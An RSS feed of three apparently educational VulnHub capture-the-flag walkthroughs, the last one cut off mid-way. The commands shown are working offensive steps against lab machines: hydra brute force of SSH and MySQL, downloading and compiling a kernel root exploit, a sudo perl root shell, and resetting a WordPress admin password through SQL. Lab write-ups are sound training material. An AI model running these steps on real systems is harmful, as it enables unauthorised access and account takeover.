<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Krish Sheth on Medium]]></title>
        <description><![CDATA[Stories by Krish Sheth on Medium]]></description>
        <link>https://medium.com/@krishsheth23?source=rss-f4201c14d60b------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*YzXqein-6HRh7kmW</url>
            <title>Stories by Krish Sheth on Medium</title>
            <link>https://medium.com/@krishsheth23?source=rss-f4201c14d60b------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 08:14:06 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@krishsheth23/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Tr0ll:1 | VulnHub Walkthrough by Krish Sheth.]]></title>
            <link>https://medium.com/@krishsheth23/tr0ll-1-vulnhub-walkthrough-by-krish-sheth-653a1dfe6b46?source=rss-f4201c14d60b------2</link>
            <guid isPermaLink="false">https://medium.com/p/653a1dfe6b46</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[cehv12]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Krish Sheth]]></dc:creator>
            <pubDate>Mon, 14 Oct 2024 05:28:22 GMT</pubDate>
            <atom:updated>2024-10-14T05:28:22.986Z</atom:updated>
            <content:encoded><![CDATA[<p>This is a full walkthrough for the Tr0ll 1 machine from VulnHub. In this blog i have shown ways to gain root access. And complete the objective for this machine.</p><p>Download From here <a href="https://www.vulnhub.com/entry/tr0ll-1,100/">Link</a></p><blockquote><strong>&quot; <em>Tr0ll was inspired by the constant trolling of the machines within the OSCP labs.</em></strong></blockquote><blockquote><strong><em>The goal is simple, gain root and get Proof.txt from the /root directory.</em></strong></blockquote><blockquote><strong><em>Not for the easily frustrated! Fair warning, there be trolls ahead! </em></strong>&quot;</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/395/1*nQ40TEP32BN71F7OyeqbNg.png" /></figure><p>After Turning on the Tr0ll machine ,First i will use <strong>netdiscover</strong> command to find out about the machine ip.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*3-dXt7gVHPn7tMChXjObcA.png" /></figure><p>As I have opened the <strong>Tr0ll</strong> Machine in my Vmware here we can see the Machine Ip adress which is <strong><em>192.168.29.48</em></strong></p><p>Next we will use <strong><em>nmap</em></strong> command to find out more about the target ip this will help us to know the open ports and the version they are running on.</p><p>As we are scanning we could the<em> Agressive </em>scan on the target ip.</p><p>We will use<strong> nmap-A (target ip)</strong> command to do the agressive scan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*iF9-SZuCA1HibehKBWCHww.png" /></figure><p>From nmap scan we got to know that the <strong>FTP (21), SSH (22) and HTTP (80).</strong></p><p>Seeing ports 80 my immediate reaction is to open browser and have a look at the web page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_WdgItPa6r1WliZ4ggO0eQ.png" /></figure><p>When we typed the Ip of the machine in URL we got this webpage. There is nothing intresting here.But in nmap scan we found a directory lets try to open that directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/429/1*Opo8VyzosI8X_JKmfRwgxQ.png" /></figure><p>Lets try to check robots.txt first .We will write robots.txt in URL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/504/1*zex6_DCu-2_hTx9E58D9MQ.png" /></figure><p>We will writeHere we got directory named <strong>/secrect. </strong>Lets try to open it and check.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*rs8xZ6Ny7alMiM-k250P9g.png" /></figure><p>Here in Secrect Directory we got this image nothing special.Now, I don’t think there’s much more to do on the website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/596/1*mwqxVIruQLHVlUcmcEBLNA.png" /></figure><p>So now lets try to enumrate FTP service since anonymous login is allowed there. The username is <strong>anonymous</strong> and password is <strong>blank.</strong></p><p>And here in FTP we got a <strong>pcap</strong> file .Lets download it and open it in wireshark. We will download it by writting <strong><em>get lol.pcap command</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ni0YIf0a51pfgldLfb3GYQ.png" /></figure><p>Here we have downloaded the file....Lets try to open it . When we opened it in wireshark in one of the ftp data files we got this message ..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d5zFAXgbCI0ML3qSbHvpQQ.png" /></figure><blockquote><strong>Well, well, well, aren’t you just a clever little devil, you almost found the sup3rs3cr3tdirlol :-P\n</strong></blockquote><p>Here if we see its written supersecretdirlol so maybe this means there is this directory now lets open this in our browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*3fIKIjjqIrcdEOEFCWXJCQ.png" /></figure><p>Here we found a file named roflmao now lets download and open it.</p><p>Since it had no extension we opened it in our terminal after writting <strong>cat raflmao .</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*oGlRF_I3CGHH9_ZiuHhgBA.png" /></figure><p>On opening the file we found nothing else but this message <strong>find 0x0856BF.</strong></p><p>Since we dont have any other thing to find lets try to write this in our URL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*ZZa8x064NMCFUuJQUpy8VA.png" /></figure><p>Here we found 2 folders.On the good_luck folder there is a text file maybe it contains passwords. I wrote all the password in a text file and saved it to my downloads folder.Now lets try to bruteforce ssh using hydra.</p><p><strong><em>hydra -L User.txt -P pass.txt ssh://192.168.29.48 -t 4 -d</em></strong></p><p>based on the word in wordlist i have created 2 files.</p><p>and lets try to run hydra attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9Kh_BBWLaEmXVHXatAFaqQ.png" /></figure><p>Herw we have got our SSH username and Passwords.Now lets login into SSH.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*GQI2K5Gz9IZGAS9PZai_sQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/567/1*28mn_L8iaJxRL7a8aV4MQw.png" /></figure><p>We will write <strong>ssh overflow@192.168.29.48</strong> command and enter the password. And boom we got the SSH.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ERpk6CEgdEZCh2sE5Jpw-A.png" /></figure><p>Now lets write <strong>whoami</strong> command and check.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/127/1*Dd0m-pVUIt3De4-ER56ywg.png" /></figure><p>Here we can see we are overflow .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1011/1*A4PWZUt8fB2dODH8r2ueHw.png" /></figure><p>It also seems that you get kicked out of the SSH session if you are connected for too long. We will connect again to the SSH and the write <strong>lsb_release -a</strong></p><blockquote>The lsb_release -a command is used in Linux to display information about the Linux distribution you&#39;re running</blockquote><p>First we will convert our ssh login shell into TTY shell by writting</p><blockquote><strong><em>python3 -c ‘import pty; pty.spawn(“/bin/bash”)’</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/1*Wxa14UMTr4EjiHRM0FvwYg.png" /></figure><p>We have the linux version so lets search for it by writing</p><p><strong>searchsploit linux 14.04</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OFAdzmkkSs-hg-OMsTSsiA.png" /></figure><p>We will use this one as we want <strong>privilege escalation .</strong></p><p>Now in our SSH we will write</p><p><strong>wget </strong><a href="https://www.exploit-db.com/download/37292"><strong>https://www.exploit-db.com/download/37292</strong></a> command</p><p>to download our exploit there into the tmp folder. Since the exploit is written in C program we will complie it using<strong> gcc command</strong> .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/249/1*gJC-9a1LGNiPadUEF7cj_A.png" /></figure><p>We have named it ofc and now we will run the ofc file by writting <strong>./ofc .</strong></p><p>And after running it we can see that we are <strong>root</strong> user hurray !!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/376/1*KDLYTu2w6eXhJtTe6wn9vQ.png" /></figure><p>Now we will go inside the root folder to complete the final step of the machine .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/337/1*Y0hGjXL2pt7vzGiaCQ-oMw.png" /></figure><p>Here in Root folder we got a key which is <strong>702a8c18d29c6f3ca0d99ef5712bfbdc</strong></p><p>This was final goal of our machine . 🥳🥳🥳</p><p>By following the steps outlined, you should now have a solid understanding of how to approach similar challenges and the tools and techniques used in this process. This experience not only reinforces your skills in penetration testing but also prepares you for more complex scenarios.</p><p>Thank you for following along with this walkthrough. If you have any questions or feedback, feel free to reach out. Happy hacking!</p><p>! Stay curious and keep learning !</p><blockquote><em>My Linkden</em><a href="http://www.linkedin.com/in/krish-sheth-a661992b5"><strong><em> Link</em></strong></a></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=653a1dfe6b46" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Money Box| VulnHub Walkthrough by Krish Sheth.]]></title>
            <link>https://medium.com/@krishsheth23/money-box-vulnhub-walkthrough-by-krish-sheth-eac85efa3c17?source=rss-f4201c14d60b------2</link>
            <guid isPermaLink="false">https://medium.com/p/eac85efa3c17</guid>
            <category><![CDATA[offsec]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cehv12]]></category>
            <dc:creator><![CDATA[Krish Sheth]]></dc:creator>
            <pubDate>Fri, 23 Aug 2024 09:26:34 GMT</pubDate>
            <atom:updated>2024-08-23T09:26:34.363Z</atom:updated>
            <content:encoded><![CDATA[<p>In this walkthrough, we’ll tackle the <strong>MoneyBox</strong> machine from <strong><em>Offensive Security’s Proving Grounds</em></strong>. This medium-difficulty machine is a well-rounded challenge for honing your penetration testing skills, offering real-world scenarios and attack vectors. We’ll start with reconnaissance to identify open ports and services, proceed with vulnerability identification, and finally exploit these vulnerabilities to gain root access.</p><p>After Turning on the<strong> moneybox</strong>machine on <strong>Offsec</strong> account here they provided us with the Ip for the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dvJeVydazIs-do-rt1nLuQ.png" /></figure><p>We can see the Machine Ip adress which is <strong><em>192.168.169.230 </em></strong><em>.</em></p><p>Next we will use <strong><em>nmap</em></strong> command to find out more about the target ip this will help us to know the open ports and the version they are running on.</p><p>As we are scanning we could the<em> Agressive </em>scan on the target ip.</p><p>We will use<strong> nmap-A (target ip)</strong> command to do the agressive scan.</p><ul><li>-A: This option enables aggressive scan options. It performs a comprehensive scan that includes:</li></ul><blockquote><em>OS detection: Determines the operating system of the target.</em></blockquote><blockquote><em>Version detection: Identifies the versions of services running on open ports.</em></blockquote><blockquote><em>Script scanning: Runs default scripts to gather additional information about the target.</em></blockquote><blockquote><em>Traceroute: Maps the path packets take to reach the target.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/998/1*nhx_7bXaAj8jEcZDTpbWHA.png" /></figure><p>Here we got <strong>3 open por</strong>t.Lets enumerate each of them one by one.</p><p>Hee we can see <strong>FTP</strong> is on <strong>Port 21</strong> where <strong>anonymous login</strong> is <strong>allowed</strong> lets try to login into FTP first .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/446/1*laPSHkBjbn3inhgT3jvGHQ.png" /></figure><p>After conducting initial scans, we discovered that the <strong>FTP</strong> service was running and allowed<strong> anonymous</strong> login. We connected to the server using <strong>ftp 192.168.169.230</strong> command .</p><p>Using anonymous as the username and leaving the password blank, we successfully logged in. Once connected, we used the ls command to list the contents of the directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*anp03YQ7Fm4JEb7Gz_gd1Q.png" /></figure><p>The directory contained a single file, <strong>trytofind.jpg</strong>, with a size of approximately 1MB. This file stood out as potentially holding valuable information, so we proceeded to download it for further analysis.</p><p>To download the file, we used the get command</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/659/1*jjtqXIu0FA-OBm5L7nUnew.png" /></figure><p>Here we got image into our machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/1*xQW0e6bKvNr_CtaWbVxigA.png" /></figure><p>Now lets navigate and open our image.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G31pEeSNwUvFHz9TfOKtbw.png" /></figure><p>Here we got this image of an CAT. Nothing Intresting here. Now lets <strong>enumerate</strong> port <strong><em>80. </em></strong>Since we know that http service runs on port 80.</p><p>We will open browser and check the http page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*M7xd4CFMUt5Y3TZL4fsypQ.png" /></figure><p>Here we got this page nothing special.Lets try to run dirb to check for all hidden pages. We will write <strong><em>dirb 192.168.169.230 .</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/545/1*g5m4gZkNWOmSL0XI_4hqMQ.png" /></figure><p>Here we got these directory lets check it out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*qO5GxnUvJKOuXUDoh85Cug.png" /></figure><p>Here on blogs direcotry we got this page. Here we can see there is a mention for a hint . So i pressed <strong>ctrl+u </strong>to view the source code and there was a hint for another secret directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/1*ovByyhjCbmznXW8Fmkt94A.png" /></figure><p>Here On page 48 we can see we got a secret directory now lets check it out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1007/1*Qeu_o7-rwmaW22Dwc-IU5g.png" /></figure><p>Here we got this page now lets check it source.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/313/1*alpn75Wu32ffE8Et8a75Tg.png" /></figure><p>Herw we got a secret key here which is <strong>&#39;3xtr4ctd4t4</strong>&#39; i guess it means <strong>extractdata.</strong></p><p>Till Now the only thing we have is</p><ol><li>FTP Login</li><li>Image of A cat</li><li>The Key [<strong>3xtr4ctd4t4 -- extractdata]</strong></li><li>SSH -- but we cant login there as we dont have username and password .</li></ol><p>So Here there is only image from which we can extract data. This concept is called <strong>Steganography</strong></p><blockquote><strong><em>Steganography -- </em></strong>If the image doesn’t reveal anything obvious, there could be hidden data within it. You can check for hidden messages using steganography tools.</blockquote><p>We will write <strong>steghide extract -sf trytofind.jpg command.</strong></p><p>Command Breakdown: steghide extract -sf trytofind.jpg</p><blockquote><strong>steghide</strong>: This is the tool being used. Steghide is a popular steganography tool that allows for hiding and extracting data within files such as images and audio files.</blockquote><blockquote><strong>extract</strong>: This is the command that tells Steghide to attempt to extract any hidden data embedded within the specified file.</blockquote><blockquote><strong>-sf</strong>: This flag stands for <strong>&quot;stegofile&quot;</strong>, indicating the file that potentially contains hidden information. In this case, the steganographic file is the image trytofind.jpg.</blockquote><blockquote><strong>trytofind.jpg</strong>: This is the name of the file you&#39;re analyzing. Steghide will attempt to extract any hidden data from this file.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/490/1*3fS2JIbuPrcFzE7_jafUgg.png" /></figure><p>Here it prompted us to enter an password. Lets try to enter the key <strong>3xtr4ctd4t4 </strong>here. And our key worked here .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/405/1*P9vq6IfxNzpKvJEdM2q_TQ.png" /></figure><p>Here it tells that it has extracted the hidden data behind the image to a file name <strong>data.txt. </strong>Now lets check it out .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*TjQwkpzBBe151dyHt4LlPg.png" /></figure><p>The extracted message gives us a valuable clue about potential weaknesses in the target system. It specifically mentions that the password in use is “too weak” and should be changed. Additionally, the message is addressed to someone named <strong>Renu</strong>, indicating that this could be a valid username on the system.</p><p>Lets try to bruteforce the password for ssh using <strong>HYDRA .</strong></p><blockquote>Hydra is a popular tool used in cybersecurity and penetration testing for performing brute-force attacks on various protocols and services. It’s often used to crack passwords by attempting numerous combinations until the correct one is found</blockquote><p>We will write this command here <strong><em>hydra -l renu -P /usr/share/wordlists/rockyou.txt.gz -f 192.168.169.230 ssh .</em></strong></p><p>Here’s a breakdown of the <strong>Hydra</strong> command you’ve provided:</p><blockquote>hydra: This is the command to start Hydra, the brute-force password-cracking tool.</blockquote><blockquote>-l renu: This specifies the login username to use for the brute-force attack. In this case, the username is renu.</blockquote><blockquote>-P /usr/share/wordlists/rockyou.txt.gz: This specifies the path to the password list file that Hydra will use for the attack. Here, it&#39;s using rockyou.txt.gz, which is a popular wordlist often used for password cracking.</blockquote><blockquote>-f: This option tells Hydra to stop after the first successful login is found. It won&#39;t continue trying other passwords once a valid one is discovered</blockquote><blockquote>192.168.169.230: This is the target IP address for the SSH service you are attempting to brute-force.</blockquote><blockquote>ssh: This specifies the protocol you&#39;re targeting. In this case, it’s SSH (Secure Shell).</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u_8kHCJS9eghv2kmYAdc6A.png" /></figure><p>Here we got the password for <strong>renu</strong> which is <strong>987654321. </strong>Now lets try to login into<strong> ssh</strong> using this credentials.</p><p>For SSH Login we will write this command here<strong> ssh renu@192.168.169.230</strong></p><p>After entering this command and password...</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*hUuQvvBdzdVSefyetFZ3Ww.png" /></figure><p>Boom here we got ssh.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/414/1*khFlgmsv2_Rgul-AGLx37A.png" /></figure><p>Here i wrote <strong>ls</strong> command and we got 2 files here.Now when i opened local.txt we got this key .. i gusess this is a <strong>flag</strong> that we have got .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/279/1*qlq-NrL4Lm_GMXtNChnwBQ.png" /></figure><p>Here when we went out of renu directory to home we got another user named lily here . Now lets enter into lily&#39;s directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/484/1*CqvHvrrTVgSziCQu9CnEvw.png" /></figure><p>We moved into lily&#39;s direcotry by writting <strong>cd lily/ command.</strong></p><p>On writing ls we didn&#39;t got anything so we wrote <strong>ls-la</strong> to show us the hidden files . Here we got nothing intresting exept .ssh file.</p><p>So lets go into the .ssh file now.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-B85P3JNAveEhjuOUIGmJw.png" /></figure><p>Here we got this authorized_keys.Now lets login as lily into ssh .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*-sN3fvJwl1l1gegGYegLPQ.png" /></figure><p>Here we enterd in ssh as lily without entering the password.</p><p>The first thing that we check after getting the user shell is sudo. By typing <strong>sudo -l</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/462/1*qS8CYM4SiESaz3zfzE5FTg.png" /></figure><p>Here user lily has a sudo right in which lily can run perl command as root without password.</p><p>We will write this perl command <strong><em>sudo perl -e ‘exec “/bin/bash”;’ .</em></strong></p><h3>Explanation:</h3><ul><li>sudo: Runs the command with root privileges.</li><li>perl -e: Executes the Perl code provided in the command-line argument.</li><li>&#39;exec &quot;/bin/bash&quot;;&#39;: This Perl code executes a new shell (/bin/bash) as root.</li></ul><h3>What It Does:</h3><p>This command will launch a new Bash shell with root privileges. You’ll be prompted for your password if sudo requires it (though, in your case, it shouldn&#39;t prompt for a password due to the NOPASSWD directive).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/546/1*fMU-8QOKwPnlz4lIPM_JLA.png" /></figure><p>And boom we are <strong>root</strong> user 🔥.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/462/1*YCOXl8-Dydi0q5IfrtYhXw.png" /></figure><p>And here in root directory we got our second flag here 🥳🥳.</p><p>In this walkthrough, we successfully tackled the MoneyBox machine, exploring various vulnerabilities and exploitation techniques. We covered key tasks such as identifying and exploiting weaknesses in the system, leveraging privilege escalation methods, and achieving a full compromise.</p><p>By following the steps outlined, you should now have a solid understanding of how to approach similar challenges and the tools and techniques used in this process. This experience not only reinforces your skills in penetration testing but also prepares you for more complex scenarios.</p><p>Thank you for following along with this walkthrough. If you have any questions or feedback, feel free to reach out. Happy hacking!</p><p>! Stay curious and keep learning !</p><blockquote><em>My Linkden</em><a href="http://www.linkedin.com/in/krish-sheth-a661992b5"><strong><em> Link</em></strong></a></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eac85efa3c17" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SUNSET:MIDNIGHT | VulnHub Walkthrough by Krish Sheth.]]></title>
            <link>https://medium.com/@krishsheth23/sunset-midnight-vulnhub-walkthrough-by-krish-sheth-63b1359e8799?source=rss-f4201c14d60b------2</link>
            <guid isPermaLink="false">https://medium.com/p/63b1359e8799</guid>
            <category><![CDATA[ceh-certification]]></category>
            <category><![CDATA[sunset]]></category>
            <category><![CDATA[vulhub]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[offsec]]></category>
            <dc:creator><![CDATA[Krish Sheth]]></dc:creator>
            <pubDate>Fri, 09 Aug 2024 09:08:32 GMT</pubDate>
            <atom:updated>2024-08-09T09:08:32.327Z</atom:updated>
            <content:encoded><![CDATA[<p>The Vulhub Sunset Midnight machine is a captivating and intricate challenge designed for cybersecurity enthusiasts and ethical hackers. This virtual machine (VM) offers a unique blend of vulnerabilities and exploits that require a deep understanding of penetration testing techniques and methodologies. With a focus on realistic scenarios, the Sunset Midnight machine provides a comprehensive platform to test and hone your skills in various aspects of cybersecurity, including web application security, network security, and privilege escalation.</p><p>Whether you are preparing for certifications like the Certified Ethical Hacker (CEH) or the Offensive Security Certified Professional (OSCP), or simply looking to expand your knowledge and experience in the field, the Sunset Midnight machine is an excellent resource. Dive in, explore the vulnerabilities, and challenge yourself to achieve root access in this engaging and educational virtual environment.</p><p>After Turning on the Sunset : Midnight machine on Offsec account here they provided us with the Ip for the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RYSryNxX8lVopZGFA6H-yQ.png" /><figcaption>Machine Ip</figcaption></figure><p>We can see the Machine Ip adress which is <strong><em>192.168.180.88 </em></strong><em>.</em></p><p>Next we will use <strong><em>nmap</em></strong> command to find out more about the target ip this will help us to know the open ports and the version they are running on.</p><p>We will use<strong> <em>nmap -p- -A 192.168.180.88 — min-rate 1000 </em></strong>command to do the scan.</p><ul><li>nmap: This is the command-line tool used for network discovery and security auditing.</li><li>-p-: This option tells nmap to scan all 65535 ports, from 1 to 65535. By default, nmap scans only the most common 1000 ports, so this option ensures a full port scan.</li><li>-A: This option enables aggressive scan options. It performs a comprehensive scan that includes:</li></ul><blockquote>OS detection: Determines the operating system of the target.</blockquote><blockquote>Version detection: Identifies the versions of services running on open ports.</blockquote><blockquote>Script scanning: Runs default scripts to gather additional information about the target.</blockquote><blockquote>Traceroute: Maps the path packets take to reach the target.</blockquote><ul><li>192.168.180.88: This is the target IP address you are scanning.</li><li>--min-rate 1000: This option sets the minimum packet send rate to 1000 packets per second. Increasing the rate can speed up the scan, but it may also increase the likelihood of detection or cause network congestion.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*isHtwx8Zsszk1w85XujSPw.png" /><figcaption>Port scan</figcaption></figure><p>Here we have got 3 open ports .</p><p>Since There is <strong>port 80</strong> which is running <strong>http.</strong></p><p>This Means there is a website running at port 80 lets visit this website by typing Ip of the Machine in URL of browser and visit the website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4DgOOFL6GyM4gsWdxAEUDQ.png" /><figcaption>machine not showing</figcaption></figure><p>As We Can see the website is not showing here...It is beacuse we havent hosted the file.</p><blockquote>The Sunset - Midnight machine uses the domain name sunset-midnight.com for its web application. By adding an entry to your hosts file, you tell your computer that sunset-midnight.com corresponds to the IP address of the Midnightmachine. This is necessary because otherwise, your computer won&#39;t know where to find sunset-midnight.com on the network, and you won&#39;t be able to access the web application on the machine.</blockquote><ul><li>So now we will first open our terminal and and locate our host file.</li><li>We will enter host file by writting <strong><em>nano/etc/hosts</em></strong> command</li></ul><blockquote>nano: This is the text editor you’re using to open the file.</blockquote><blockquote>/etc/hosts: This is the path to the hosts file you want to edit.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/326/1*UKzUnrENgfiz5zHWCsL5Jg.png" /><figcaption>Host</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*iGBPKc8gCajFt9qWoHIHwA.png" /><figcaption>setting host</figcaption></figure><p>Here under Kioptrix 3 we wrote this <strong><em>192.168.180.88 sunset-midnight.com</em></strong></p><p>Here we wrote the Ip address of Sunset Machine here .After Saving the file we will exit it .</p><p>This ensures that the domain sunset-midnight.com is matched with the IP of the vulnerable machine, allowing us to interact with Midnight.</p><p>Now we will First Check Out the website by typing sunset-midnight Machine Ip in the URL .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wgTEoWvECF3LDLxWws-Fdg.png" /><figcaption>WebPage</figcaption></figure><p>Here we can see we have got an webpage here . Since we can see here..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/420/1*7p6hqYJN1AUcW43LfZwmIw.png" /><figcaption>Wordpress</figcaption></figure><p>Since It is an wordpress site we can use WP-Scan tool.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mMCJs-Zggq_HnwhFhrf5tQ.png" /><figcaption>wpscan</figcaption></figure><p>Now we will write <strong><em>wpscan — url sunset-midnidght . Command</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*6Nj0LzebEZmwkGr6UVShDg.png" /><figcaption>Wp - ADMIN</figcaption></figure><p>Here we have got the admin page here . Lets go and check the admin page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/524/1*znvzluPyu29gnDkQ0INgFg.png" /><figcaption>Login Page</figcaption></figure><p>Here we have got a Login Page.But we dont know the Id and Password yet …</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*SJUiHoGnuXaSRm-pMrbt3Q.png" /><figcaption>scan</figcaption></figure><p>We also Saw in Our Nmap scan that on Port 3306 there was mysql port running here . We could try and bruteforce it using Hydra.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*1ZB-ifTfejhz0racfB7u3A.png" /><figcaption>default</figcaption></figure><p>While searching online we got to know that default password for mysql is root. so we just need to find out password.</p><p>we will use this command here ...</p><p><strong><em>hydra -l root -P /usr/share/wordlists/rockyou.txt sunset-midnight mysql</em></strong></p><blockquote>hydra: The tool used for performing brute-force attacks.</blockquote><blockquote>-l root: This option specifies the login/username to use in the attack. In this case, root.</blockquote><blockquote>-P /usr/share/wordlists/rockyou.txt: This option specifies the path to the password list file. Here, it&#39;s using the rockyou.txt wordlist, which is a common password list used for brute-forcing.</blockquote><blockquote>sunset-midnight: This is the target hostname or IP address you want to attack.</blockquote><blockquote>mysql: This is the service/protocol to attack. In this case, it’s targeting the MySQL service.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vn7FZw1r-UIjKzNjWYKhjw.png" /><figcaption>Hydra</figcaption></figure><p>When we used hydra we got this<strong> Id</strong> and <strong>passowrd</strong> now lets try to login into the database using <strong>mysql .</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/1*PlDQUUsRDgX2aV1AR2Ur5A.png" /><figcaption>Mysql</figcaption></figure><p>Here we logged in into the Mysql using this command</p><p><strong><em>mysql -u root -probert -h sunset-midnight</em></strong></p><blockquote>mysql: This is the command-line client for MySQL.</blockquote><blockquote>u root: This option specifies the username to use when connecting to the database. In this case, root.</blockquote><blockquote>-p robert: This option specifies the password to use when connecting to the database. Here, the password is robert.</blockquote><blockquote>-h sunset-midnight: This option specifies the hostname or IP address of the MySQL server you want to connect to. In this case, it’s sunset-midnight.</blockquote><p>Now since we are into SQL server lets try to get credentials .</p><p>First we will write -&gt; <strong>Show databses;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/475/1*CEndPW5SJW9CkfEeEBRTTw.png" /><figcaption>Databases</figcaption></figure><p>Now we need to select last one we will do it by writtig -&gt; <strong>use wordpress_db;</strong></p><p>Now we will writre -&gt;<strong>show tables;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/755/1*NiGRXxt11XPjEZ-bJGZkTw.png" /><figcaption>show tables</figcaption></figure><p>Now we need to select last one as it might have id and passwords.</p><p>We will do it by writting -&gt; <strong>select * from wp_users;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TvxvQWStcAHLbrTNugrrUw.png" /><figcaption>Id passwords</figcaption></figure><p>Here we have got id and passwords we can see here that passwords is encrypted in hash format.Since we have access of database lets try to change the passsword here. We will keep username and password both to admin. we can do this by writting -&gt; <strong>UPDATE wp_users SET user_pass = MD5(‘admin’) WHERE user_login = ‘admin’;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xsAKS_eSiWsQR3YomdHR1Q.png" /><figcaption>change pass</figcaption></figure><p>Now we can see that we have changed our Id and password now lets login into the wp_admin page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/1*e2pMiJWt_BvU4QlSj3nLPw.png" /><figcaption>Login</figcaption></figure><p>Here i 